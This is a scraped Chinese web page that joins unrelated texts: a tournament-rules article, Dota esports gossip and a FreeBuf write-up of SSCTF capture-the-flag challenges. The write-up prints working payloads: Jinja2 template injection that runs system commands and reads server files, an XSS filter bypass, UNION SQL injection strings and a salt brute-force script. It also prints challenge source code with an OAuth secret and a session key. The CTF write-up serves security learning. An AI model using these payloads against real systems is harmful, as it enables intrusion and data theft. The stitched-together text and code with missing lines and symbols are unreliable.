求解为什么gta5线上刚开始怎么玩赛每次玩到一半就开始卡,然

好哥哥线上赛比赛规则如何 好哥哥线上赛比赛规则全面一览_西西软件资讯
西西软件园多重安全检测下载网站、值得信赖的软件下载站!
→ 好哥哥线上赛比赛规则如何 好哥哥线上赛比赛规则全面一览
v1.0.1安卓版
类型:生活服务大小:4.2M语言:中文 评分:10.0
好哥哥线上赛比赛规则如何,好哥哥线上赛比赛规则全面一览。好哥哥线上赛是一款擂台赛事软件,用户在该平台上不仅可以观看丰富的赛事资讯,还可以进行报名和比赛,该平台上玩家参加比赛是有规则的,那好哥哥线上赛比赛规则如何呢,今天西西小编就为大家带来好哥哥线上赛比赛规则全面一览。好哥哥线上赛比赛规则全面一览1.1 电竞精神公平公正公开基本原则。如果任何人违反了公平竞赛的原则或者扰乱比赛秩序,将会立刻被管理员移除出比赛并可能受到追加处罚。如果频繁的出现问题,将会被封号。1.2 特殊规则每个锦标赛或者杯赛的规则都会写在每个赛事顶部的“比赛规则”栏目中,这些规则会替代通用规则。1.3 关于报名每天都会有多场好哥哥线上赛事发布,可以在主页的赛事栏中选择你可以参加的合适的时间段的比赛。报名的每场比赛开始时间至少间隔三个小时。1.4 参赛者/等待列表正式比赛开始前1小时会进行参赛确认,不确认即不可参赛。如果参赛确认阶段有普通参赛者没有确认,那么剩下的位置将会从等待列表里的选手按照谁先确认谁参赛的原则来选出。参赛选手在每一局比赛开始的时候必须点击“确认参赛”来确认参赛,如果15分钟内未确认,则系统自动判定为弃权。“好哥哥”保留手动帮助参赛选手确认的权利。1.5 参赛帐号每个人参赛使用的账号必须和游戏内的账号名字相匹配。并且不能重复绑定和更改。1.6 关于卡组参赛选手使用的卡组是需要提前确定的,比赛过程中不允许替换卡组,每个参赛职业可使用的卡组只能保留一套,违者整场判负。准备完毕,不允许再进入卡牌收藏,违者整场判负。如有需要,必须得到对方或者裁判的许可,并保留许可截图。掉线等原因退出切磋界面,登录后不允许进入卡牌收藏,违者整场判负。因为是线上赛,不允许战网调忙碌或者离开,违者整场判负。进入切磋界面后在网站进行BP职业,然后开始比赛。比赛卡组和每局胜利截图都可以在比赛界面提交上传,请玩家养成上传结果的习惯,以便裁判仲裁,防止争议。1.7 关于截图截图并非必须提交,只是网站给双方选手提供的一个工具。为的是确保参赛选手选用的职业只有一套卡组。双方协商一致,可以不截。只要有一方选手提出要求,就双方都必须提供截图。截图的时间,是在ban pick完成后。要求截图必须在开赛之前,审核截图以后开始比赛,如果已经开始对局,没有提出截图要求,即默认不需要截图,之后再提出的话,对手可以拒绝,请慎重决定。1.8 关于职业BP以后必须按照BP结果选择职业。对于胜利后使用重复职业和没有使用BP后的职业的情况,如果当局比赛已经结束或者进行到一半,当局比赛判定为选错一方输;如果当局比赛刚开始,“好哥哥”强烈建议秉承体育精神,根据实际情况,尽可能的给对手一次重赛的机会。1.9 关于胜负如果出现双方同时死亡的情况,当局双方职业都算获胜,直接1:1 如果之前A是1:0领先的话,直接为2:1获胜。如果之前是1:1的决胜局,当局改为重赛。1.10 对手掉线或者登录问题如果你的对手确认了比赛但是暂离了,你需要等待15分钟再联系裁判,裁判会立刻帮你联系对手,确认对手不在的话,你将会直接获胜。如果您掉线,或者出现悬牌bug。如果当回合能够斩杀,请截图,提交对手或裁判,您获胜。非斩杀回合,一律判负。如果您的的对手掉线,你可以截您击败对手的截图。不过,“好哥哥”强烈建议您秉承体育精神,根据实际情况,尽可能的给对手一次重赛的机会。如果某场比赛双方故意延迟比赛不进行,已经严重影响其他比赛的进程,裁判有权判该场比赛双方都淘汰。1.11 管理员任何被“好哥哥”或者赛事组织方授权或者在一些特殊的规则下被认命为管理员的都被称作裁判。1.12 对阵表最后的对阵表会在选手确认之后公布。在比赛的对阵表一栏可以查询。1.13 比赛模式不同的游戏,不同的赛事组织者或者不同的比赛管理模式会产生不同的比赛模式。每个参与者都有义务确认每个比赛的参赛规则。规则能在&比赛规则&里看到。如果你对于规则有任何的疑问,可以QQ联系裁判。一般来说有以下两种比赛模式:单败淘汰赛;双败赛。1.14 奖金池可以在比赛报名列表里看到。1.15 有关争议建议玩家全程开启炉石盒子进行比赛 保存比赛记录 胜利后保存获胜截图 (截图内尽量包括对手ID和结束时间),如果发生争议可以提交截图给裁判进行处理,如果双方都无法提供有效截图,结果无法判定的话,双方都失去资格,切记!1.16 有关奖金获得比赛奖金的选手,奖金会自动发放到您的帐号里,在个人信息中就可以查询到,如果有奖金未发或者数量不对的情况,请立刻联系裁判处理。提现奖金会在1-2个工作日内发到您的绑定账户。1.17 直播网站比赛直播页面有绑定斗鱼平台直播间,有直播间选手可以自己添加。 欢迎直播你自己的比赛,但是我们建议你延迟推流直播10分钟。
08-0408-1612-1110-1910-1707-2506-1706-0303-2603-26
阅读本文后您有什么感想? 已有23人给出评价!
名称大小下载Newbee在震中杯后面的比赛选出了杂技阵容,闪电站小猪看核桃的直播爆料道出了原因,很多事情得到了合理的解释。核桃为什么喜欢追着卡尔火球跑,原因是火球像个大核桃,Hao喜欢吃核桃补脑!
最开始是狗徒和核桃聊天,说自己也特别想知道为什么你们要选剧毒,当时看到剧毒就觉得你们输了。
核桃说其实是可以打的,训练练过一次,但是线上被打炸了,直接打不了了。然后狗徒说,其实你们打的很好了,明天他请客吃饭什么的。
然后核桃和弹幕聊天,弹幕问为什么要打德鲁伊,小鱼,剧毒。
核桃说我德鲁伊不厉害吗?你们没看到我吼跳过来拉我的蝙蝠的那个操作吗?当时队友都说我肯定死了,但我跟他们说我肯定不会死。然后弹幕说可是你德鲁伊逐日了啊,核桃说说起来你们可能不信,是太阳先动的手。
逐日核桃,次次跟着火球被烧死
然后谈到震中杯,是前一天比赛完了,跟主办方要求说希望能早点到场馆提前热手,然后船胖听到了就说那我们也早点去准备。
因为酒店离场馆有点远,平时是坐车半小时的路程,但有一次他们堵了2个多小时。
为了预防万一,他们那天早上8点半就起来了,然后10点半到场馆之后OG都没到,本来想去吃饭,但主办方安排午饭是12点多,结果虽然吃的不多,但刚吃完饭就打比赛脑子还是有点蠢,第一盘失误有点多。
然后一直打到凌晨,最后的时候脑子特别晕,其实选的阵容是有思考过的,但是因为当时太累了,想东西想的特别不全面不细致,很多问题没有考虑就拿了阵容。(这里要甩锅给狗哥,身为教练签证雪崩没去成)
而且中间休息的时候因为一直在想比赛的事,忘记饿这件事了,也没有去吃点巧克力什么的补充体力。最后输了比赛当地的粉丝要请他们去夜店,他们拒绝了,全都回去睡觉了。
然后评价这个比赛,从酒店到工作人员场地啊都很棒,而且包头等舱机票,毛妹也很漂亮。
不好的地方就是每次比赛前都要调试很久的机器,有一次比赛开了,但是卡师傅的机器设置出问题了所以暂停,结果领队被工作人员很凶的骂了,说他们为什么开始了还要调机器。
然后说平时比赛时11点开的,就决赛那天1点开,太拖了,没想到会打那么久,最后太累了影响了状态。
说到怎么看上海特锦赛,说自己一进比赛房就差点被熏死了。而且不知道其他人怎么样,他自己是一个观众越多越兴奋的选手,上海赛每次他们打的时候场馆里都一个人都没有了,打起来特别不爽。
又说自己其实一直觉得中国队很厉害,上海特锦赛他觉得是过年的锅,选手春节回家,回来之后训练时间很短没有竞技状态,外国队在他们放假的时候都在训练比赛,此消彼长所以血崩。
评价队友,大木也有点不爽老给他拿线上劣势的抗压英雄。
KAKA,不是紧张,但平时训练里他的大局观很厉害,然后指挥也很好,线下发挥的没有线上好。说不会不信任卡师傅的,比赛里有很多声音的没法决定的时候,他会大声的说,都别说了。就听卡卡的。因为觉得不管决定是不是正确,一个队执行力是很重要的。
KapII,训练的时候话很多,也有很多自己的想法,但是比赛时他除了TI第二次线下大赛,发挥的没有平时好,可能需要适应。有的英雄打的很棒,有的打的不太好。这次比赛表现刚好及格吧,觉得以后会越来越好。
震中杯觉得NB已经是冠军了,打了很多队伍,最后一天如果只有决赛肯定能赢。开始打秘密EG以为是两条鲨鱼,赢了挺高兴的。后来原来发现是两条鱼。
最高兴的不是赢OG是赢EG,觉得苏跳跳跳的XNMBYY,看他不爽,现在打的这么烂,都是因为败了人品。(小声的说了一句被峰哥下了降头吧)
还说了EE这次比赛打的很好,以前一直觉得他打的一般,但现在越打越好了,而且还很勤奋。这次比赛如果RTZ稳定一点, 秘密好多局能赢下。现在秘密肯定比EG厉害,但秘密也有问题,具体是什么问题他也不好说,不是他该管的。
coL队长外卡赛前吃早饭遇到的时候很骄傲的对他和船胖说了句 good luck。结果被淘汰握手的时候就没那么膨胀了。觉得他人不一定很坏,只是特别耿直。
觉得OG的MOON可能不是恶意想嘲讽,是因为他的性格就是赢了比赛觉得自己很吊很目中无人的那种。跟自己年轻的时候很像,自己现在已经很低调了,觉得不能败人品。为什么不嘲讽回去苏跳跳,也是不想败人品。
觉得奇迹哥确实很厉害,体现在他的各种小操作上之类的,实力很强。
卡师傅的冰甲本来换了,结果那天就输给了,所以后来又换回来了。
看到好友里BB的状态显示的是想玩游戏,说那不加入一下队伍。然后BB没反应,他跑去玩了两把。菜了两把终于吊了一把,然后就被踢了。
觉得现在中国队实力都挺强的,因为训练强度挺大的。春季赛会尽力打,能走的越远越好。然后就是水友让他填小红本,疯狂奶LGD,最看好的战队选手那两页全填的LGD。
闪电站小猪怀疑春季赛小八要被核桃奶死了!
转载请注明来自:[]SSCTF线上赛解题报告Part2(杂项部分&Web) - FreeBuf.COM | 关注黑客与极客
SSCTF线上赛解题报告Part2(杂项部分&Web)
共261756人围观
,发现 4 个不明物体
*原创作者:Nu1L团队
杂项部分(Misc)
Misc10(Welcome)
签到题目,啥也不说了直接上图,手机截图,请见谅。。。
Misc100(Speed Data)
开始想多了,想到什么CVE什么Word漏洞上去了,后来想到才100分,想到可能是pdf隐写,所以在google上搜索pdf stego ,找了几个工具,其中一个工具叫Wbstego,直接解密了即可:
Misc200(Puzzle)
图片中的二维码得到
# flag = f[root]
# f[x] = d[x] xor max(f[lson(x)], f[rson(x)]) & & & & & & & & &: x isn't leaf
# f[x] = d[x] & & & & & & & & & & & & & & & & & & & & & & & & & & : x is leaf
在wav最后1s明显有杂音,发现藏了数据
去掉一半的00,得到一个7z,剩下就是找口令了
尝试了各种wav和jpg隐写,最后机智的队友居然在1份54秒左右听到杂音
在网上找了个大小为38.5m的渡口,进行波形比较,发现在sample501800靠后点有巨大的差异。
把那段数据截取出来,strings看下,有这样一个字符串{1L0vey0u*.*me}
利用这个口令解开了7z
解开之后是0和1文件夹(分别代表左右儿子),以及每个文件夹下有个d(这是每个节点的数据)
先生成个目录,按照二叉树顺序存储结构的方式读取所有数据,脚本:
mululist=[]
def readmulu():
& & fm=open('mulu.txt','rb')
& & while True:
& & & & line=fm.readline().strip('\x0d\x0a')
& & & & if line:
& & & & & & mululist.append(line+'d')
& & & & else:
& & & & & & break
readmulu()
for ml in mululist:
& & #print ml
& & f=open(ml,'rb')
& & t=int(f.read()[2:],2)
& & #print t
& & node.append(t)
nodenum=127
def lson(x):
& & ret=x*2
& & if ret & nodenum:
& & & & print "l erro"
& & & & ret=0
& & return ret
def rson(x):
& & ret=(x*2)+1
& & if ret & nodenum:
& & & & print "r erro"
& & & & ret=0
& & return ret
& & if x &= nodenum:
& & & & return node[x-1]
def haveson(x):
& & if x*2&nodenum:
& & & & return 1
& & & & return 0
& if not haveson(x):
& & & & return d(x)
& & rs=rson(x)
& & ls=lson(x)
& & if rs!=0:
& & & & r=f(rs)
& & if ls!=0:
& & & & l=f(ls)
& return d(x)^max(l,r)
print hex(f(1))
&&& s='b6ea7d'
&&& s.decode('hex')
'SSCTF{SSCTF&n1ca1ca1&2oi6&*.*}'
Misc300(Hungry Game)
这道题目是一个js写的游戏,最终目的是打boss。
在解题的过程中,有这么几层:
第一层:有一道过不去的门,提示找钥匙但是并不知道钥匙在哪。通过阅读game.js代码可以知道,游戏通过发送msg(‘next’, {}) 来进入下一关。所以果断打开浏览器控制台输入如下代码:
ws.send(JSON.stringify([msg('next', {})]));
即可进入下一层。
第二层:从这里开始游戏不允许直接跳关。游戏要求采集9999的木头,按住空格,1秒一个。然而游戏时间限制在5分钟,通常手段必然过不去。阅读game.js得知msg(‘wood’, {‘time’: tmp})为发送到服务器的数据,tmp是时间(毫秒),所以构造payload:
ws.send(JSON.stringify([msg('wood',{'time':000})]));ws.send(JSON.stringify([msg('next',{})]));
即可进入下一关。
第三层:游戏要求采集9999的钻石,按空格一下一个。采用和第二层相同的方式,发现服务器有检查,不能按得过快(也就是不能在一次内采集过多钻石),于是改为for循环形式:
for(var i=0;i&2000;i++){ws.send(JSON.stringify([msg('diamond',{'count':5})]))};ws.send(JSON.stringify([msg('next',{})]));
即可进入下一关。
第四层:这层是boss层,游戏要求玩家攻击boss15下,提示说近战武器无法伤到boss,经过测试发现玩家靠近boss即被秒杀。于是在远离boss的位置输入如下代码:
function attack(){ws.send(JSON.stringify([msg('attack',{'x':boss.x,'y':boss.y})]));setTimeout("attack()",1000);};attack();
等待15秒即可获得flag。
Misc400(Warrior And Tower III) —–比赛时未作出来,赛后做
这道题目到现在我也没搞懂…
这是道算法题目,是要玩一个捡肥皂的游戏。游戏开始从左到右有6个桩子,每个桩子旁边有一堆肥皂,玩家可以把任意块肥皂从某个桩子移动到下一个桩子,最后没有肥皂可以捡的玩家输掉游戏。
一开始一直在想怎么获胜,写了好几种方式然而都没有什么卵用,直到赛后队友告诉我这个是通过AI的bug来获得flag的:因为AI每次捡肥皂只能捡桩子周围两个距离以内的,但是AI还要捡完周围的,所以把肥皂连城一条线就能获胜。
……好吧
- -、然而并没有做出来,赛后搞定就当做纪念吧。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
EMAIL = 'I won\'t give you this.'
PWD = 'I won\'t give you this.'
io = remote('socket.lab.seclover.com',23333)
def cls():
class GameSolver:
def __init__(self,io):
self.MAP = []
self.BLOCK = []
self.PIVOT = []
self.POSX = 0
self.POSY = 0
self.IO = io
self.MAXX = 0
self.MAXY = 0
self.PA_FOUND = 0
self.PA_RESULT = 0
self.PO_FOUND = 0
self.PO_RESULT = 0
def StartGame(self):
self.IO.recvuntil("Input 'start' to start the game\r\n")
self.IO.sendline('start\n')
self.ReadMap()
self.DumpInfo()
def ScanPivot(self,pos,id):
DIRECTION = [(0,-1),(0,1),(1,0),(-1,0)]
self.VISITED[pos[0]][pos[1]] = 1
for i in DIRECTION:
nextx = pos[0] + i[0]
nexty = pos[1] + i[1]
if self.MAP[nextx][nexty] == '@' and not self.VISITED[nextx][nexty]:
# self.MAP[nextx][nexty] = '0'
self.BLOCK[id].append((nextx,nexty))
self.ScanPivot((nextx,nexty),id)
# self.MAP[nextx][nexty] = '@'
def GetPivotAdjacentFreeSpace(self,pos):
DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]
DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]
self.VISITED[pos[0]][pos[1]] = 1
for i in DIRECTION:
nextx = pos[0] + i[0]
nexty = pos[1] + i[1]
if not self.VISITED[nextx][nexty]:
if self.MAP[nextx][nexty] == '@' and not self.PA_FOUND:
self.GetPivotAdjacentFreeSpace((nextx,nexty))
elif self.MAP[nextx][nexty] == '.':
for j in DIRECTIONJ:
kx = nextx + j[0]
ky = nexty + j[1]
if self.MAP[kx][ky] == '@': adj += 1
if adj & 1:
self.PA_FOUND = 1
self.PA_RESULT = (nextx,nexty)
elif self.PA_FOUND:
def GetPivotOutsideBlock(self,pos):
#print pos
#DIRECTION = [(1,0),(-1,0),(0,-1),(0,1)]
#DIRECTIONJ = [(1,0),(-1,0),(0,-1),(0,1)]
DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)]
DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)]
self.VISITED[pos[0]][pos[1]] = 1
for i in DIRECTION:
nextx = pos[0] + i[0]
nexty = pos[1] + i[1]
#print 'Going ', (nextx,nexty)
if not self.VISITED[nextx][nexty] and self.MAP[nextx][nexty] == '@':
self.GetPivotOutsideBlock((nextx,nexty))
if self.PO_FOUND: return
for j in DIRECTIONJ:
kx = nextx + j[0]
ky = nexty + j[1]
if self.MAP[kx][ky] == '.':
self.PO_FOUND = 1
self.PO_RESULT = (nextx,nexty)
def GetPivotPos(self,id):
return self.PIVOT[id]
def ReadMap(self):
self.MAP = []
self.BLOCK = []
self.PIVOT = []
self.POSX = 0
self.POSY = 0
map_buf = list(self.IO.recv(99999))
t = map_buf
while map_buf[0] != '#':
map_buf.pop(0) # remove all dummy characters
except Exception,e:
print e, t
self.IO.interactive()
self.MAP.append([])
ch = map_buf.pop(0)
#print ord(ch)
if ch == '\n':
self.MAXY = Y
self.MAP[X].append(ch)
if len(map_buf) == 0: break
self.MAXX = X
# scan map for pivots
self.VISITED = []
for i in range(self.MAXX):
self.VISITED.append([])
for j in range(self.MAXY):
self.VISITED[i].append(0)
for i in range(self.MAXX):
for j in range(self.MAXY):
if self.MAP[i][j] == 'A':
self.POSX = i
self.POSY = j
elif self.MAP[i][j] == '$':
self.BLOCK.append([])
self.ScanPivot((i,j),len(self.PIVOT))
self.PIVOT.append((i,j))
def GotoPos(self,pos,ignoreBlocks=True):
print 'Going to', pos
visit = []
for i in range(self.MAXX):
visit.append([])
for j in range(self.MAXY):
visit[i].append(0)
visit[self.POSX][self.POSY] = 1
q.append({'pos':(self.POSX,self.POSY,''),'prev':0})
DIRECTION = [(0,1,'l'),(1,0,'j'),(-1,0,'k'),(0,-1,'h')]
while len(q) & 0:
cur = q.pop(0)
if cur['pos'][0] == pos[0] and cur['pos'][1] == pos[1]:
while isinstance(cur,dict):
path = cur['pos'][2] + path
cur = cur['prev']
return path
for i in DIRECTION:
next_x = cur['pos'][0] + i[0]
next_y = cur['pos'][1] + i[1]
if not visit[next_x][next_y] and self.MAP[next_x][next_y] != '#' and self.MAP[next_x][next_y] != '$':
if not ignoreBlocks and self.MAP[next_x][next_y] == '@': continue
q.append({'pos':(next_x,next_y,i[2]),'prev':cur})
visit[next_x][next_y] = 1
# cannot get there
def SendCmd(self,cmd,interactive=False):
log.info("Cmd : " + cmd)
self.IO.sendline(cmd)
if interactive:
self.IO.interactive()
self.ReadMap() # Reload Map
self.DumpInfo()
def DumpInfo(self):
print self.MAXX, self.MAXY
for i in range(self.MAXX):
for j in range(self.MAXY):
sys.stdout.write(self.MAP[i][j])
sys.stdout.write('\n')
print self.MAXY * '-'
for i in self.PIVOT:
print 'PIVOT : ', i
for i in self.BLOCK:
print 'BLOCK : ', i
def ClearVisited(self):
self.VISITED = []
for i in range(self.MAXX):
self.VISITED.append([])
for j in range(self.MAXY):
self.VISITED[i].append(0)
def MoveFromTo(self,f,t,num=-1):
if num == -1: k = 99999
for i in range(k):
if len(self.BLOCK[f]) == 0: break
self.PO_FOUND = 0
self.ClearVisited()
self.GetPivotOutsideBlock(self.GetPivotPos(f))
if self.PO_FOUND == 0:
log.warning("Cannot find an outside block!")
pos = self.PO_RESULT
self.SendCmd(self.GotoPos(pos) + 'L')
self.PA_FOUND = 0
self.ClearVisited()
self.GetPivotAdjacentFreeSpace(self.GetPivotPos(t))
if self.PA_FOUND == 0:
log.warning("Cannot find an outside block!")
pos = self.PA_RESULT
self.SendCmd(self.GotoPos(pos,False) + 'P')
def BackToOrigin(self,interactive=False):
self.SendCmd(self.GotoPos((1,1),True),interactive)
def CloseGame(self):
self.IO.close()
def Solve(self):
self.MoveFromTo(3,4,10)
self.BackToOrigin(True)
def main():
io.recvuntil('Email Addr :')
io.sendline(EMAIL)
io.recvuntil('Password & :')
io.sendline(PWD)
Game = GameSolver(io)
Game.StartGame()
Game.Solve()
Game.CloseGame()
except Exception,e:
io.interactive
if __name__ == '__main__':
Web100(Up!Up!Up!)
一个上传,研究了半天都没解决,什么常规的方法都试过了,能改的属性都改过了,最后队友看了看包,来了句,可没可能在上传表单属性Content-Type: multipart/form-那里有个判断啊,瞬间觉得世界明亮了,于是就这么拿了flag!
Web200(Can YouHit Me?)
Gg了,然后肯定是测试最新那个了—但发现过滤了on、eval、alert等字符,双写绕过。
http://960a23aa.seclover.com/index.php?xss={{'a'.coonnstructor.prototype.charAt=[].$evevalal('x=1}} };aleralertt(/ssctf_Nu1L/)//');}}
Web300(Legend?Legend)
又是MMD。。。。。。。。。。
本来想测试下,结果貌似又被搅屎了,然后就报不了js错误直接跳回首页了,就拿最终的图吧。
然后就利用return构造,payload:
然后邮箱登录。。。我还问西瓜牛为啥没有flag。。。
翻了翻邮箱,找到~
&Web400(Flag-Man)
一开始以为是cookie哪里改成赵日天= == = == = == = = =无力吐槽,然后在乌云看到,点击题目的login,发现name的value是你github账号名字,于是开了开脑洞:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}
为了简短代码,
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}
得到索引是59
# 循环查看所有的模块 发现有os, __file__,
__builtins__等,可以用open
{% for i in range(0, 10) %} {{
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i]
}} {% endfor %}
但是要先知道当前文件名,所以
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__)
得到文件名& ssctf.py,然后读文件
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/f34e34/2/ssctf.py",
"r").read() }}
name:# -*- coding: utf-8 -*- from flask import Flask,abort,request,session,redirect,render_template_string import os import json import datetime import urllib import re import time import hashlib #import sqlite3 import threading from rauth.service import OAuth2Service BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = os.name =='nt' if DEBUG: WEBHOME = 'http://127.0.0.1/' else: WEBHOME = 'http://b525ac59.seclover.com/' github = OAuth2Service( name='github', base_url='https://api.github.com/', access_token_url='https://github.com/login/oauth/access_token', authorize_url='https://github.com/login/oauth/authorize', client_id= '6ad5ab3c971c740adf64', client_secret= 'd6aed929c3b9bf713adcd46194e1', ) app = Flask(__name__) app.debug = DEBUG app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl" app.flagman = (1,'flagman','SSCTF{dc28cd924be}','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') # app.lastid = 1 # app.lock = threading.Lock() # def getnewid(): # app.lock.acquire() # app.lastid+=1 # newid = app.lastid # app.lock.release() # return newid # def dbinsert(name,uid,pic): # newid = getnewid() # app.user[newid] = (name,uid,pic) # return newid # def dbfind(user_id): # userinfo = app.user.get(user_id) # if userinfo: # return (user_id,)+userinfo # return None # def dbfind_uid(uid): # for u in app.user: # if app.user[u][1]==uid: # return (u,)+app.user[u] # return None # app.dbcon = sqlite3.connect(":memory:", check_same_thread=False) # app.dbcur = app.dbcon.cursor() # app.dbcur.executescript('''CREATE TABLE "user" ( # "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, # "name" TEXT, # "uid" TEXT, # "pic" TEXT # ) # ; # CREATE UNIQUE INDEX "id" # ON "user" ("id" ASC); # CREATE UNIQUE INDEX "uid" # ON "user" ("uid" ASC); # ''') # def dbinsert(name,uid,pic): # sql = '''INSERT INTO "user" ("name", "uid", "pic") VALUES (?,?,?);''' # app.dbcur.execute(sql,(name,uid,pic)) # app.dbcon.commit() # return app.dbcur.lastrowid # def dbfind(user_id): # sql = '''SELECT * FROM "user" where id = ?''' # rows = app.dbcur.execute(sql,(user_id,)) # for id,name,realuid,pic in rows: # return (id,name,realuid,pic) # return None # dbinsert('howmp','uid','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') @app.route('/user/') def user(): userinfo = session.get('info') if not userinfo: #session.pop('info') return "please login first.
Powered by Flask/0.11.2" user_id,name,realuid,pic = userinfo if user_id == 1: user_id,name,realuid,pic = app.flagman name = str(name) pic = str(pic) template = u'''
name:''' + name + '
uid:{{ realuid }}
id:{{ user_id }}' #template += u"
{{app.secret_key}}" return render_template_string(template,**(dict(globals(), **locals()))) @app.route('/') def index(): def _link(): params = {'redirect_uri': WEBHOME+'callback'} icon = u'' return """
""" % (github.get_authorize_url(**params), icon) html = """ %slogin
only / and /user,no other pages! """ % _link() return html @app.route('/callback') def callback(): code = request.args.get('code') if not code: abort(401) data = dict(code=request.args['code'], redirect_uri=WEBHOME+'callback', ) try: auth = github.get_auth_session(data=data) me = auth.get('user').json() session['info']=[2,me['name'],me['id'],me['avatar_url']] return redirect('/user/') except Exception,e: return e if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
因为最后没截图了,就拿这当吧,当时拿到py源码发现有app.flagman- -改github昵称,利用中的{{…….}}进行绕过:
访问下就行了:
Web500(AFSRC-Market)—–比赛时未作出来,赛后做
比赛时没有发现给的hint竟然还有一个单词叫is_number,明显的是这个函数造成的过滤不严格,使得恶意数据通过十六进制插入数据库造成二次注入,代码的话首先测试的是904 and 1=1,构造payload为,访问之后再下发现了money尝试904 and 1=0,money变为&,报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆数据库名,构造904 and 1=0 union select 1,2,SCHEMA_NAME,4 frominformation_schema.SCHEMATA limit 1,1;#,得到payload为,然后查表,构造 1=0 union select 1,2,table_name,4 from information_schema.tables wheretable_schema=’web05′;#得到flag表,爆字段数,构造904 and 1=0 union select 1 from flag #,依次select 1 select1,2,发现在select 1,2,3,4的时候
money为3,所以,得出结论,flag表有四个字段,其中第三个字段上有东西,根据经验把目标锁定在flag,于是构造904 and 1=0 union select 1,2,flag,4 from flag #,得到的payload为,之后发现,得到数据库名
尝试904 and 1=0,money变为&,报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆数据库名,构造904 and 1=0 union select 1,2,SCHEMA_NAME,4 frominformation_schema.SCHEMATA limit 1,1;#,得到payload为,然后查表,构造 1=0 union select 1,2,table_name,4 from information_schema.tables wheretable_schema=’web05′;#得到flag表,爆字段数,构造904 and 1=0 union select 1 from flag #,依次select 1 select1,2,发现在select 1,2,3,4的时候
money为3,所以,得出结论,flag表有四个字段,其中第三个字段上有东西,根据经验把目标锁定在flag,于是构造904 and 1=0 union select 1,2,flag,4 from flag #,得到的payload为,之后发现,得到数据库名
于是访问得到tips:
1、Congratulationsfor you !You finished 80%,Come on continue!
2、token=md5(md5(username)+salt)salt max lenght is 5(hexs)
3、Add the MoneyGet the Flag
提示很明显了,根据提示,得到自己token然后爆破就可以了
首先找到表名,,构造payload,得到user表,构造payload为904 and 1=0union select 1,2,token,4 from user& whereusername =’Albertchang’ #,访问后在money得到自己的token:4e35baffcafdefed53bfb080,然后写个脚本爆破首先对自己的用户名Albertchang进行md5为18dda757bd3ca3cb81fbc,然后写脚本,补上一到五个字符进行md5
import hashlib
def md5(str):
& & import hashlib
& & m = hashlib.md5()
& & m.update(str)
& & return m.hexdigest()
s = '18dda757bd3ca3cb81fbc'
chars = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
for i in chars :
& & li.append(s+i)
for i in chars :
& & for j in chars :
& & & & li.append(s+i+j)
for i in chars :
& & for j in chars :
& & & & for k in chars :
& & & & & & li.append(s+i+j+k)
for i in chars :
& & for j in chars :
& & & & for k in chars :
& & & & & & for l in chars :
& & & & & & & & li.append(s+i+j+k+l)
for i in chars :
& & for j in chars :
& & & & for k in chars :
& & & & & & for l in chars :
& & & & & & & & for m in chars :
& & & & & & & & & & li.append(s+i+j+k+l+m)
for i in li :
& & if md5(i) == '4e35baffcafdefed53bfb080' :
& & & & print i
得到18dda757bd3ca3cb81fbc8b76d,所以salt是8b76d。之后addmoney,burp抓包改一下salt在forward就得到flag了:
最后,感谢四叶草的@kun@line@zhao瓜皮等辛勤的工作人员,给我们带来了一场精彩的比赛,让我们也学到了很多东西,同时也鄙视一下一直在搅屎web300那个注入的脑残。。。。。
*原创作者:Nu1L团队,本文属FreeBuf原创奖励计划,未经许可禁止转载
必须您当前尚未登录。
必须(保密)
这家伙太懒,还未填写个人描述!
关注我们 分享每日精选文章}

我要回帖

更多关于 gta5线上刚开始怎么玩 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信